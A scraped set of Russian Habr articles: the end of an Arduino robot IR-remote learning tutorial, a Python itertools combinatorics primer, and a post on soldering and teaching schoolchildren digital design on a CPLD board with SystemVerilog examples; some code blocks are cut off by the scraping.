Чтобы робот узнал, что ему пора обучаться он будет ждать нажатия какой-нибудь любой клавиши на пульте по азбуке морзе, например, буквы К (я своего робота назвал в честь жены — Катюша), т.е. Длительное нажатие, затем короткое, снова длинное и короткое.
После этого робот переходит в интерактивный режим обучения. Это значит, что он начинает выполнять действие, а вам надо просто нажать кнопку для этого действия, затем следующее и так далее до последнего действия.
В заключение после сохранения всех параметров Катюша начинает кружиться в танце, приглашая поиграть.
#### Программирование
Добавим это все в наш скетч `robo_body.ino.`
Все комментарии на английском т.к. проект планируется интернациональный, но я добавил вначале каждого блока комментарии на русском тоже :)
Весь код состоит из нескольких блоков:
##### Загрузка старых команд
При запуске загружаем из памяти старые команды. Если они не были записаны до этого — ничего страшно не случиться.
```
#include
...
const int IR\_TOTAL\_COMMANDS = 17; // Total Number of commands, that can be send by IR control
unsigned long IrCommands[IR\_TOTAL\_COMMANDS]; // All command from remote control
// Read all IR commands from EEPROM
for(int i=0; i
```
##### Проверка нажатия клавиш на ИК-пульте
Проверяем, были ли нажаты кнопки на пульте и как долго, после этого запускается обработчик команд.
После нажатия какой-либо кнопки на пульте, функция `irrecv.decode(&results);` возвращает в `results.value` код кнопки, если кнопка была только что нажата. Если кнопка была нажата и удержана, то посылается код кнопки, а затем `IR_COMMAND_SEPARATOR = 0xFFFFFFFF` посылается с определенной периодичностью, пока кнопка не будет отпущена. Таким образом мы определяем длительность нажатия — быстрое `IrRemoteButtonState = 1`, короткое `IrRemoteButtonState = 2` — пришел один `IR_COMMAND_SEPARATOR` после команды, и длинное `IrRemoteButtonState = 3` — пришло двое и более `IR_COMMAND_SEPARATOR`.
Для определения длительности мы будем считать быстрое и короткое эквивалентными.
Функция `CheckIrCommands()` вызывается из главного цикла `loop()`.
```
// Check if any IR remote buttons pressed
void CheckIrCommands()
{
// If we're in programm mode, just check if buttons vere pressed there
if(IsInIrProgrammMode)
{
IrProgrammatorProcess();
return;
}
if (irrecv.decode(&results)) {
// Button was pressed for LONG or SHORT time, but not VERY SHORT )
if(results.value==IR_COMMAND_SEPARATOR)
{
if(IrRemoteButtonState<3)
{ // Set the IR remote button state
IrRemoteButtonState++;
}
// Update last pressed button state
IrLastCommandsState[0] = IrRemoteButtonState;
}else
{
IrRemoteLastCommand = results.value;
IrRemoteButtonState = 1;
// Saving last pressed buttons and their state - we will use it to determine when to start IR programmator.
for(int i=IR_LAST_COMMANDS_BUFFER_SIZE-1; i>0; i--)
{
IrLastCommandsState[i] = IrLastCommandsState[i-1];
IrLastCommandsValue[i] = IrLastCommandsValue[i-1];
}
IrLastCommandsValue[0] = IrRemoteLastCommand;
IrLastCommandsState[0] = 2; // For programmator mode short and very short press of the button is equal.
checkIrHit(); // Check if robot was hit by another robot
}
ProcessIrCommands();
irrecv.resume();
}
}
```
##### Определение команды
Функция `ProcessIrCommands()` определяет какая из известных клавиш была нажата и выполняет соответствующую команду.
Если команда неизвестна, то проверяем на нажатие одной и той же кнопки по азбуке морзе (Длинная-Короткая-Длинная-Короткая) для запуска режима обучения.
```
void ProcessIrCommands()
{
if(IrRemoteLastCommand==0) return; // The signal was not good enough to get the signal data
// Check for known commands and executing them
for(int i=0; iSHORT->LONG->SHORT
if((IrLastCommandsValue[0]==IrLastCommandsValue[1])&&(IrLastCommandsValue[0]==IrLastCommandsValue[2])&&(IrLastCommandsValue[0]==IrLastCommandsValue[3])
&&(IrLastCommandsState[0]==2)&&(IrLastCommandsState[1]==3)&&(IrLastCommandsState[2]==2)&&(IrLastCommandsState[1]==3))
{
// Starting Programmator mode.
IrServoStep = IR\_SERVO\_STEP\_PROGRAM\_MODE; // Maximun step for Programm mode, so that user will notice servo movement
IsInIrProgrammMode = true;
IrProgrammatorStep = 0;
executeIrCommand(0); // Executing command and waiting for user to press the button to save it.
}
}
```
##### Исполнение команды
```
void executeIrCommand(int cmd)
{
switch(cmd)
{
case 0: // move forward
moveMotor( "G", IR_MOVE_SPEED );
break;
case 1: // move backwards
moveMotor( "G", -IR_MOVE_SPEED );
break;
case 2: // turn left
moveMotor( "L", -IR_MOVE_SPEED );
moveMotor( "R", IR_MOVE_SPEED );
break;
case 3: // turn right
moveMotor( "L", IR_MOVE_SPEED );
moveMotor( "R", -IR_MOVE_SPEED );
break;
case 4: //stop
moveMotor( "G", 0 );
break;
case 5: // Move Horizontal Head Left
moveHead( "H", servoHeadHorizontal.read()-IrServoStep );
break;
case 6: // Move Horizontal Head Right
moveHead( "H", servoHeadHorizontal.read()+IrServoStep );
break;
case 7: // Move Vertical Head Up
moveHead( "V", servoHeadVertical.read()-IrServoStep );
break;
case 8: // Move Vertical Head Down
moveHead( "V", servoHeadVertical.read()+IrServoStep );
break;
case 9: //no
noSwinger.startSwing(90, 1, 400, 2.5, 60, 0.75, true);
break;
case 10: //yes
yesSwinger.startSwing(60, 1, 400, 2.5, 30, 0.8, true);
break;
case 11: //tail
tailSwinger.startSwing(90, 1, 250, 6, 70, 0.9, true);
break;
case 12: // Mood
executeAction("M", 0x0102, true );
break;
case 13: // Mood
executeAction("M", 0x0103, true );
break;
case 14: // Mood
executeAction("M", 0x0104, true );
break;
case 15: // Mood
executeAction("M", 0x0105, true );
break;
case 16: // Mood
executeAction("M", 0x0106, true );
break;
}
}
```
##### Запоминание команд
Запускаем действие робота и ждем пока пользователь нажмет кнопку на ИК-пульте. После нажатия кнопки запускаем следующее действие и т.д.
После получения заключительной команды, сохраняем все в память EEPROM и запускаем вращение Катюши по кругу, как индикацию что она готова поиграть с пультом.
```
void IrProgrammatorProcess()
{
if (irrecv.decode(&results))
{
if((results.value!=IR_COMMAND_SEPARATOR)&&(results.value!=0)&&(results.value!=IrLastCommandsValue[0]))
{
IrCommands[IrProgrammatorStep]=results.value;
if(IrProgrammatorStep==IR_TOTAL_COMMANDS-1) // Was it the last command?
{
// Save all IR commands to EEPROM
for(int i=0; i
```
Полный код в SVN: <http://code.google.com/p/robot-mitya/source/checkout> | https://habr.com/ru/post/168197/ | null | ru | null |
# Комбинаторика в Python
Стандартная библиотека python, начиная с версии 2.2, предоставляет множество средств для генерирования комбинаторных объектов, но в интернете мне не удалось найти ни одной статьи, которая подробно рассказывала бы о работе с ними. Поэтому я решил исправить это упущение.
Начну с того, что расскажу о комбинаторике и ее основных формулах. Если же вы уже знакомы с этим разделом математики — можете пропустить эти абзацы.
Допустим, у нас есть строка, состоящая из n разных букв и мы хотим вычислить все способы переставить эти буквы местами так, чтобы получить новую строку. На первую позицию в строке мы можем выбрать одну из **n** букв, имеющихся у нас, на вторую позицию одну из **n-1**-ой буквы и так далее. В итоге получаем произведение n *(n-1)*… \*1 = n! количество перестановок из n элементов без повторений.
Теперь представим, что количество букв в строке ограничено. У нас есть n доступных букв и мы хотим вычислить количество способов составить из них строку длины k, где k < n, каждую букву мы можем использовать лишь единожды. Тогда на первую позицию в строке мы можем поставить одну из **n** букв, на вторую позицию одну из **n-1** буквы и на k-ую позицию одну из **n-k+1** буквы. Общее количество строк будет равно n *(n — 1)* (n — 2) *…* (n — k + 2) *(n — k + 1) = n!/(n-k)! количество размещений из n по k. Если же уникальность букв не требуется, то мы получим формулу n*...*n*n = n^k количество размещений из n по k с повторениями.
До этого мы перебирали последовательности с учетом порядка элементов, а что если порядок для нас не имеет значения. Например, у нас есть есть n разных конфет и мы хотим выбрать **k** из них, чтобы подарить другу, при чем k < n. Сколько существует способов выбрать k конфет из n без учета порядка? Ответ прост, в начале найдем размещение из n по k без повторений, но тогда одинаковые наборы конфет, имеющие разный порядок их следования будут повторяться. Сколько существует способов переставить k конфет? Правильно, перестановка из k элементов без повторений. Итоговый ответ: размещения из n по k делим на перестановки из k без повторений. Формула:  количество сочетаний из n по k.
Рассмотрим случай посложнее, у нас есть n коробок каждая из которых содержит множество конфет одного вкуса, но в разных коробках вкусы разные. Сколько существует способов составить подарок другу из k конфет, при чем один и тот же вкус может встречаться любое количество раз? Так как порядок для нас значения не имеет, давайте разложим подарочные сладости следующим образом: в начале будут лежать последовательно конфеты первого вкуса, затем второго и так далее, а между конфетами разных вкусов положим спички, если конфеты какого-то вкуса отсутствуют в нашем подарке — спички, которые должны были окаймлять этот вкус слева и справа будут стоять рядом. Того у нас получится последовательность, состоящая из k конфет и n-1 спички, ибо вкусов всего n, а спички разделяют их. Теперь заметим, что по расположению спичек, мы можем восстановить исходное множество. Тогда ответом будет количество способов разместить n-1 спичку в n+k-1 ячейку без учета порядка, что равно количеству сочетаний из n+k-1 по n-1, формула:  количество сочетаний из n по k с повторениями.
Теперь рассмотрим несколько задач на комбинаторику, чтобы закрепить материал.
#### Задача 1
**Есть 20 человек, сколько существует способов разбить их на пары**
Решение: возьмем первого человека, сколько существует способов выбрать ему пару: , возьмем второго человека, сколько существует способов выбрать ему пару: . Ответ: 19!!! = 654729075
#### Задача 2
**Есть 10 мужчин и 10 девушек, сколько существует способов разбить их на компании, состоящие из одинакового количества и мужчин и девушек, пустая компания не считается**
Решение:
Cпособ 1: количество способов собрать компанию из одного мужчины и одной девушки равно произведению количества способов выбрать одну девушку и количества способов выбрать одного мужчину. Количество способов выбрать одну девушку из 10 равно сочетанию из 10 по 1 без повторений, с мужчинами аналогично, поэтому возведем в квадрат. Далее аналогично вычислим сочетания из 10 по 2, из 10 по 3 и так далее до сочетания из 10 по 10. Итоговая формула: .
Способ 2: рассмотрим множество мужчин, входящих в компанию и множество девушек, не входящих в нее. По этому множеству можно однозначно восстановить компанию, а количество людей в нем всегда равно 10, так как , k — количество мужчин в компании,  — количество девушек, не вошедших в нее. Количество таких множеств равно количеству сочетаний из 20 по 10, в конечном ответе мы также вычтем единицу, чтобы не учитывать пустую компанию, когда в нашем множестве 10 девушек. Итоговая формула: .
Итак, мы разобрались с теорией, теперь научимся генерировать комбинаторные объекты с помощью стандартной библиотеки python.
Работать мы будем с библиотекой **itertools**
```
from itertools import *
```
С помощью функции permutations можно сгенерировать все перестановки для итерируемого объекта.
#### Пример 1
```
for i in permutations('abc'):
print(i, end=' ') # abc acb bac bca cab cba
print()
for i in permutations('abb'):
print(i, end=' ') # abb abb bab bba bab bba
```
Исходя из второго вызова заметим, что одинаковые элементы, стоящие на разных позициях, считаются разными.
#### Пример 2
```
for i in permutations('abc', 2):
print(i, end=' ') # ab ac ba bc ca cb
```
Размещение отличается от перестановки ограничением на количество доступных ячеек
#### Пример 3
```
for i in product('abc', repeat=2):
print(i, end=' ') # aa ab ac ba bb bc ca cb cc
```
C помощью размещений с повторениями можно легко перебрать все строки фиксированной длины, состоящие из заданных символов
#### Пример 4
```
for i in combinations('abcd', 2):
print(i, end=' ') # ab ac ad bc bd cd
```
С помощью сочетаний без повторений можно перебрать все наборы не повторяющихся букв из заданной строки, массива или другого итерируемого объекта без учета порядка
#### Пример 5
```
for i in combinations_with_replacement('abcd', 2):
print(i, end=' ') # aa ab ac ad bb bc bd cc cd dd
```
Результат аналогичен вызову combinations, но в результат также добавлены множества с одинаковыми элементами.
Материалы:
Н.В. Горбачев "Сборник олимпиадных задач по математике"
[Документация по python на русском](https://pythonworld.ru/moduli/modul-itertools.html) | https://habr.com/ru/post/479816/ | null | ru | null |
# Стартуем на ПЛИС, но сначала припаяем его с конструктором беспилотного автомобиля Zoox
Однажды мне не спалось ночью и я залип на сайтах про паяльники. Возникло желание купить и сразу появились вопросы: на сколько ватт? Не больше 30? А почему большинство на 60-80 ватт? 60/40 олово свинец? А почему куча паяльных станций идут в комплекте с lead-free проводами припоя? Канифоль сейчас внутри проволоки? А почему есть и проволока припоя без канифоли? Бронзовую мочалку для очистки? А почему столько комплектов с и белой и бронзовой?
Вспомнил и повод, чтобы научиться паять. Когда-то Руслан Тихонов, руководитель кружка из Москвы, говорил мне что хочет сделать простые упражнения на платах ПЛИС для школьников. Как часть триады "микросхемы малой степени интеграции - ПЛИС - Ардуино". По этому поводу я купил самую дешевую плату с CPLD Altera MAX II (ныне это Intel FPGA), но обнаружил что у нее не припаян переходник.
Я выставил вопросы про паяльники на Фейсбук и после [оживленной дискуссии](https://www.facebook.com/yuri.panchul/posts/pfbid0nQUm9Zan1P1fiWAqFHyCpaNgvs9VFRJLVSL4s9JgPm16u64qfLqogVLy39CnK77el) мой приятель Денис Никитин вызвался научить меня паять как полагается. Денис работает проектировщиком печатных плат(\*) в компании Zoox, ныне часть компании Amazon. Zoox делает беспилотные автомобили, то есть Денис на передовом рубеже паятельного прогресса. Я заснял мастер-класс от Дениса на видео:
(\*) Точное описание позиции Дениса: тех лид, Staff Electrical Engineer. Денис отвечает за процесс разработки электронных модулей, включая архитектуру, принципиальные схемы, печатные платы, выбор компонентов и программы испытаний. По словам Дениса: "Паяем мы на этапе проектирования/прототипирования. Потом конечно машины на заводе паяют."
### Часть 1. Пайка
### Часть 2. Плата ПЛИС, которую мы паяли
Что же из себя представляет плата, которую паяли мы вместе Денисом? Это [самая базовая плата ПЛИС, которая бывает](https://aliexpress.ru/item/1005004872551479.html), и при этом на ней можно делать полезные упражнения, например познакомить школьников с проектированием цифровых схем на уровне регистровых передач с использованием языка описания аппаратуры SystemVerilog.
Вот сравните как работает макетка с микросхемами малой степени интеграции и плата с ПЛИС. Реализация сдвигового регистра на макетной плате с помощью микросхемы малой степени интеграции CMOS 4015:
Реализация двоичного счетчика на плате ПЛИС:
Внешне выглядит похоже, но первое - технология 1968 года, а второе - технология 2022 года: схема синтезирована из кода на языке описания аппаратуры SystemVerilog с помощью программы Intel Quartus Prime Lite Edition Design Software Version 22.1 (скачать [для Linux](https://www.intel.com/content/www/us/en/software-kit/757261/intel-quartus-prime-lite-edition-design-software-version-22-1-for-linux.html) и [для Windows](https://www.intel.com/content/www/us/en/software-kit/757262/intel-quartus-prime-lite-edition-design-software-version-22-1-for-windows.html) ):
Код для синтеза двоичного счетчика:
Вот как выглядит синтезируемая схема сдвигового регистра в Intel Quartus:
### Часть 3. Связь рассыпухи, ПЛИС и Ардуино
Насчет микросхем малой степени интеграции у многих руководителей кружков есть сомнения: "ой, а зачем давать детям технологию 1968 года, это же остатки мамонта?" - спросят некоторые из них и прибавят: "Детям нужно Ардуино и Расберри Пай!"
А затем, что на микросхемах малой степени интеграции максимально наглядно видна работа базовых элементов интегральных схем: И / ИЛИ / НЕ, D-триггеров, мультиплексоров, декодеров и т. д. - всего, из чего состоят в том числе микроконтроллеры на платах Ардуино. Например, функцию D-триггера:
Никакое количество программирования Ардуино не заменит это знание, примерно так же как самые хорошие навыки по вождению автомашины не приблизят к навыкам по проектированию ее двигателя.
Это автомобиль Zoox, платы для которого проектирует на работе ДенисДругое дело, что за навыки по сборке на макетке микросхем малой степени интеграции вам не будут платить зарплату. И вот тут на помощь и приходит ПЛИС - именно ПЛИС прокладывает мостик между старыми и современными технологиями.
Когда вы синтезируете цифровые схемы и программируете их в ПЛИС, вы используете тот же язык проектирования Verilog, который использует и проектировщик микроконтроллера AVR на Ардуино, сидя в своем офисе в Колорадо Спрингс, и проектировщик микропроцессорного ядра ARM в Расберри Пай, сидя в своем офисе в Кембридже.
UPD: то, что Atmel куплен Microchip я знаю, но AVR могут продолжать поддерживать по старому адресу.
### Часть 4. Главная технология проектирования микросхем в последние 30 лет
Немного про отличие процесса программирования от процесса проектирования микросхемы с помощью синтеза из языка описания аппаратуры (это стандартная методология проектирования микросхем последние 30 с лишним лет). Программирование - это превращение кода в цепочку инструкций, которые хранятся в памяти и которые оттуда вытаскивает и переваривает процессор:
А синтез схем на языке описания аппаратуры - это другой процесс, при котором получается сама схема из транзисторов и дорожек, в том числе и схема современного микропроцессора, в том числе и в Ардуино. Эта схема в формате геометрических фигур GDSII отправляется на фабрику, где по ней печатают микросхемы:
Все вместе и становится аппаратно-программным комплексом, который и представляет из себя Ардуино:
### Часть 5. Природа ПЛИС
"Стоп!" - скажут некоторые читатели. "Но ведь микросхема выпекается на фабрике, а вы говорите что схема в ней потом меняется. Как это может быть?"
Пояснение: схема меняется в ПЛИС, а не обычном микроконтроллере Ардуино, который является вариантом микросхем ASIC (Application-Specific Integrated Circuits). ASIC строится из рядов фиксированных ячеек (так называемых standard cells). Их функция задается "при рождении". Одна ячейка - всегда И, другая - всегда D-триггер.
А вот функцию ячейки в ПЛИС можно менять - в ПЛИС находится "универсальная ячейка", гораздо крупнее, чем ячейка в ASIC. Она соединяется со специальной памятью, и биты в этой памяти определяют, через специальные переключатели / мультиплексоры, является ли ячейка И, ИЛИ, D-триггером или еще чем-то - уже на вашем столе, а не на фабрике.
Это не симулятор процессора в софтвере (в России симуляторы на уровне инструкций называются "эмуляторами", но это мы обсудим в другом посте). Симулятор процессора в софтвере - это программа, цепочка инструкций, а здесь конфигурация матрицы ячеек.
Из ячеек ПЛИС можно построить и аналог микропроцессорного ядра в Ардуино, но он будет дороже, с более низкой тактовой частотой и будет потреблять больше электроэнергии, чем фиксированная микросхема. Такова плата за гибкость.
### Часть 6. Отступление о временах и нравах
Да, из ячеек ПЛИС можно строить даже процессор! Это тот самый "процессор в памяти", в существование которого 10 лет назад не верили топ-блоггеры [Андрей Нифедов](https://youtu.be/2FaYtWbhFkU?t=202) и [Алекс Экслер](https://exler.me/blog/o-yunyh-geniyah.htm). Они вместе высмеивали кружок электроники в Иркутске, хотя через лабы на платах ПЛИС прошли в свое время все современные проектировщики айфонов и микросхем в Теслах, это стандартная часть курса [MIT 6.111](http://web.mit.edu/6.111/volume2/www/f2019/index.html). (Кружок в Иркутске мог использовать не ПЛИС, а GAL, но это детали, это все равно реконфигурируемая логика)
Учитывая, что Нифедов - бывший оператор станка с ЧПУ, а Экслер - обозреватель гаджетов, это было удивительно и поучительно! Особенно тысячи безумных комментов под их постами от людей, которые наверное думают, что раз они научилились тыкать пальцем в телефон, то что-то понимают как обучать будущих проектировщиков системы на кристалле (System on Chip - SoC) телефонов.
### Часть 7. Пакет для обучения школьников с платами ПЛИС
Если какой-нибудь руководитель кружка хочет такое у себя внедрить, я создал проект на сайте GitFlic.ru под названием [Пайка, ПЛИС и Линукс](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp) или [FPGA Soldering Camp](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp). Его описание "Исходники, презентации, задания и примеры для летнего лагеря по пайке, микросхемам ПЛИС и синтезу цифровых схем из кода на верилоге под Линуксом".
То есть идея в том, что школьники совершают своего рода многоборье, которое состоит из:
1. Работы с паяльником - 1 день.
2. Работы с макетными платами и микросхемами малой степени интеграции - 2 дня, потом им надоедает.
3. Синтеза цифровых схем на ПЛИС с простой платой - от 2-3 дня.
4. Работы с более сложной платой ПЛИС и например разработки простого однотактового процессора. Или интерфейса простой платы ПЛИС с Ардуино, если руководитель кружка хочет идти в эту сторону.
5. Все это делается под Линуксом, чтобы привыкали. Все разработчики микросхем для Тесл и Айфонов делают синтез и моделирование под Линуксом просто потому что они используют Synopsys Design Compiler и Cadence Genus и Innovus, у которых нет версий ни под Windows, ни под Макинтошем, только под Linux.
Впрочем, если вам очень не нравится Linux, пакет работает и под Windows (так как у Intel FPGA Quartus есть версия и под Linux, и под Windows).
Работа с Intel FPGA Quartus под ALT Linux Образование, который загружается с внешнего SSD диска### Часть 8. Предыдущий опыт семинаров для школьников с микросхемами малой степени интеграции и ПЛИС
Вообще, я опробовал лагерь такого рода несколько лет назад на [Новосибирской Летней Школе Юных Программистов](https://vk.com/lshup) и в других местах (Киев, Москва, Зеленоград). Смотрите мои другие статьи на Хабре или на [silicon-russia.com](https://silicon-russia.com).
Вот одно из видео оттуда, с восьмикласником Арсением Чегодаевым:
### Часть 9. Как скачать пакет и текущие примеры в нем
Пакет можно или клонировать с помощью Git, или скачать релиз одного из двух видов пакета:
1. [Пакет для использования только с GUI квартуса](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/release/b9f3ada4-158d-4b59-8f1c-8e607803a038/fpga-soldering-camp_20230108_gui_oriented.zip/download).
2. [Пакет для использования со скриптами, написаными на баше](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/release/b9f3ada4-158d-4b59-8f1c-8e607803a038/fpga-soldering-camp_20230108_script_oriented.zip/download). Со скриптами работать быстрее, но для начинающих GUI может быть удобнее в освоении.
В пакет входят следующие примеры:
[01\_and\_or\_not\_de\_morgan](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F01_and_or_not_de_morgan%2Ftop.sv) - обычные И, ИЛИ, НЕТ, правила де Моргана на SystemVerilog:
```
assign out_c1 = ~ (~ in_a & ~ in_b);
assign out_c2 = in_a | in_b; // Here is where De Mongan's Laws come in
```
[02\_xor\_bitwise\_concat\_and\_parity](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F02_xor_bitwise_concat_and_parity%2Ftop.sv) - операции с исключающим ИЛИ на SystemVerilog.
Аналог такого примера на микросхемах малой степени интеграции выглядит так:
[03\_add\_signed\_and\_unsigned](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/file?file=boards%2Fepm240_red%2F03_add_signed_and_unsigned) - сумматор со знаком и без знака
С микросхемами малой степени интеграции (CMOS 4008) аналог выглядит так:
[04\_mux](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F04_mux%2Ftop.sv) - реализации мультиплексора на SystemVerilog пятью разными способами:
```
// Five different implementations
assign mux = sel ? a : b;
assign mux2 = (sel & a) | (~ sel & b);
wire [1:0] ab = { a, b };
assign mux3 = ab [sel];
always_comb
if (sel)
mux4 = a;
else
mux4 = b;
always_comb
case (sel)
1'b1: mux5 = a;
1'b0: mux5 = b;
endcase
```
[05\_binary\_counter](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F05_binary_counter%2Ftop.sv) - уже показал в начале статьи. Вот его аналог с подсоединенной микросхемой-драйвером для семисегментного индикатора. Семисегментный индикатор можно подсоединить и к ПЛИС тоже:
[06\_shift\_register](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/file?file=boards%2Fepm240_red%2F06_shift_register) - сдвиговый регистр, уже показал в начале статьи
[07\_decoder](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F07_decoder%2Ftop.sv)
Четыре способа реализации декодера на SystemVerilog
```
module top
(
input [2:0] in_n,
output [7:0] out_n
);
wire [2:0] in = ~ in_n;
logic [7:0] out;
assign out_n = ~ out;
// Implementation 1: tedious
assign out [0] = ~ in [2] & ~ in [1] & ~ in [0];
assign out [1] = ~ in [2] & ~ in [1] & in [0];
assign out [2] = ~ in [2] & in [1] & ~ in [0];
assign out [3] = ~ in [2] & in [1] & in [0];
assign out [4] = in [2] & ~ in [1] & ~ in [0];
assign out [5] = in [2] & ~ in [1] & in [0];
assign out [6] = in [2] & in [1] & ~ in [0];
assign out [7] = in [2] & in [1] & in [0];
// Implementation 2: case
always_comb
case (in)
3'b000: out = 8'b00000001;
3'b001: out = 8'b00000010;
3'b010: out = 8'b00000100;
3'b011: out = 8'b00001000;
3'b100: out = 8'b00010000;
3'b101: out = 8'b00100000;
3'b110: out = 8'b01000000;
3'b111: out = 8'b10000000;
endcase
// Implementation 3: shift
assign out = 8'b00000001 << in;
// Implementation 4: index
always_comb
begin
out = '0;
out [in] = 1'b1;
end
```
Аналогичный декодер на микросхемах малой степени интеграции выглядит так:
[08\_priority\_encoder](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/file?file=boards%2Fepm240_red%2F08_priority_encoder)
Приоритетный энкодер на SystemVerilog четырьмя способами
```
module top
(
input [3:0] in_n,
output [7:0] out_n
);
wire [3:0] in = ~ in_n;
logic [1:0] out0, out1, out2, out3;
assign out_n = ~ { out0, out1, out2, out3 };
// Implementation 1. Priority encoder using a chain of "ifs"
always_comb
if (in [0]) out0 = 2'd0;
else if (in [1]) out0 = 2'd1;
else if (in [2]) out0 = 2'd2;
else if (in [3]) out0 = 2'd3;
else out0 = 2'd0;
// Implementation 2. Priority encoder using casez
always_comb
casez (in)
4'b???1: out1 = 2'd0;
4'b??10: out1 = 2'd1;
4'b?100: out1 = 2'd2;
4'b1000: out1 = 2'd3;
default: out1 = 2'd0;
endcase
// Implementation 3: Combination of priority arbiter
// and encoder without priority
localparam w = 4;
wire [w - 1:0] c = { ~ in [w - 2:0] & c [w - 2:0], 1'b1 };
wire [w - 1:0] g = in & c;
always_comb
unique case (g)
4'b0001: out2 = 2'd0;
4'b0010: out2 = 2'd1;
4'b0100: out2 = 2'd2;
4'b1000: out2 = 2'd3;
default: out2 = 2'd0;
endcase
/*
// A variation of Implementation 3: Using unusual case of "case"
always_comb
unique case (1'b1)
g [0]: out2 = 2'd0;
g [1]: out2 = 2'd1;
g [2]: out2 = 2'd2;
g [3]: out2 = 2'd3;
default: out2 = 2'd0;
endcase
*/
// A note on obsolete practice:
//
// Before the SystemVerilog construct "unique case"
// got supported by the synthesis tools,
// the designers were using pseudo-comment "synopsys parallel_case":
//
// SystemVerilog : unique case (1'b1)
// Verilog 2001 : case (1'b1) // synopsys parallel_case
// Implementation 4: Using "for" loop
always_comb
begin
out3 = '0;
for (int i = 0; i < w; i ++)
begin
if (in [i])
begin
out3 = 2' (i);
break;
end
end
end
endmodule
```
Приоритетный энкодер на микросхемах малой степени интеграции, вместе с микросхемой-драйвером семисегментного индикатора выглядит так:
[09\_fibonacci](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/file?file=boards%2Fepm240_red%2F09_fibonacci)
Числа Фибоначчи, которые выводятся медленно, не на частоте 50 MHz
```
module top
(
input clk,
input rst_n,
output [7:0] led
);
wire rst = ~ rst_n;
//------------------------------------------------------------------------
logic [24:0] cnt;
always_ff @ (posedge clk)
if (rst)
cnt <= '0;
else
cnt <= cnt + 1'd1;
wire enable = (cnt == '0);
//------------------------------------------------------------------------
logic [7:0] num, num2;
assign led = ~ num;
// Note you have to press reset button to initialize the design
always_ff @ (posedge clk)
if (rst)
{ num, num2 } <= { 8'd1, 8'd1 };
else if (enable)
{ num, num2 } <= { num2, num + num2 };
endmodule
```
[10\_round\_robin\_arbiter](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/file?file=boards%2Fepm240_red%2F10_round_robin_arbiter) - а вот это уже пример не школьный, а студенческий. Арбитр-мельница, популярный вопрос на интервью в электронные компании для джуниора. Пять реализаций по мотивам статьи Matt Weber. Arbiters: Design Ideas and Coding Styles. SNUG Boston 2001.
### Часть 10. Можно ли выучить все это на программном симуляторе?
Две проблемы:
Во-первых, на SystemVerilog можно написать код, который будет работать в симуляторе, но не будет синтезироваться в схему, так называемый несинтезируемый код, который пишется для тестов и моделей.
Во-вторых, даже если код синтезируется, он может глючить на плате, например из-за так называемых гонок (race condition). Чтобы они не происходили, нужно соблюдать правила методологии, в частности не использовать блокирующие присваивания для переменных, которые превращаются в D-триггеры, например "a" внутри:
```
always @ (posedge clk) a = b;
always @ (posedge clk) c = a;
```
В-третьих, код может симулироваться, но глючить на плате из-за метастабильного состояния, дребезга и нарушения тайминга внутри такта. Конечно, можно обязать ученика пропускать код через статический анализ тайминга одновременно с симуляцией, но без глючащей платы это выглядит как придирчивость преподавателя, а не реальное требование. Реальное железо лучше научит!
### Часть 11. Что означают дополнительные файлы (причем на языке Tcl 😲) в пакете?
Кстати, раз уж мы заговорили о нарушении тайминга и других таких параметрах. Преподавателю во время показа этих примеров ученикам, помимо кода на верилоге также нужно показать код на языке Tcl (знать его не обязательно) в двух файлах - top.qsf и top.sdc. Первый привязывает логические порты блока к физическим ножкам микросхемы.
Выглядит файл top.qsf так:
```
set_global_assignment -name DEVICE EPM240T100I5
set_global_assignment -name NUM_PARALLEL_PROCESSORS 4
set_global_assignment -name PROJECT_OUTPUT_DIRECTORY .
set_global_assignment -name TOP_LEVEL_ENTITY top
set_global_assignment -name SEARCH_PATH ..
set_global_assignment -name SYSTEMVERILOG_FILE top.sv
set_location_assignment PIN_72 -to in_n[3]
set_location_assignment PIN_73 -to in_n[2]
set_location_assignment PIN_70 -to in_n[1]
set_location_assignment PIN_71 -to in_n[0]
set_location_assignment PIN_56 -to out_n[7]
set_location_assignment PIN_57 -to out_n[6]
set_location_assignment PIN_54 -to out_n[5]
set_location_assignment PIN_55 -to out_n[4]
set_location_assignment PIN_52 -to out_n[3]
set_location_assignment PIN_53 -to out_n[2]
set_location_assignment PIN_50 -to out_n[1]
set_location_assignment PIN_51 -to out_n[0]
```
Второй файл, top.sdc, задает тактовые сигналы и говорит тулу для синтеза, что задержки на сигналах между внешним миром и D-триггерами анализировать не нужно. В какой-то момент обучения, например когда школьник захочет умножать или делить большие числа и обнаружит, что плата глючит, можно будет объяснить значение строчки в этом файле, которая говорит, что комбинационная логика внутри схемы обязана устаканиваться максимум за 20 наносекунд (1 / 50 MHz) иначе логику нужно разносить в несколько тактов:
Файл top.sdc выглядит так:
```
create_clock -period "50.0 MHz" [get_ports clk]
derive_clock_uncertainty
set_false_path -from [get_ports rst_n] -to [all_clocks]
set_false_path -from [get_ports {key[*]}] -to [all_clocks]
set_false_path -from * -to [get_ports {led[*]}]
```
Главный файл проекта, top.qpf, может оставаться пустым - Quartus хранит в нем всякий мусор типа даты и своей версии. Все реальные установки Quartus берет из .qsf и .sdc.
Разнообразные тьюториалы от Altera и Intel показывают, как связывать порты и ножки в GUI мышкой, но я так никогда не делаю - сначала вы можете просто использовать файлы выше, а когда вам понадобиться их менять, вы можете просто поменять текст, например добавить еще одну ножку. Все ножки перечислены в [fpga-soldering-camp/boards/epm240\_red/00\_template/top.qsf](https://gitflic.ru/project/yuri-panchul/fpga-soldering-camp/blob?file=boards%2Fepm240_red%2F00_template%2Ftop.qsf)
### Часть 12. Установка Quartus под Линукс
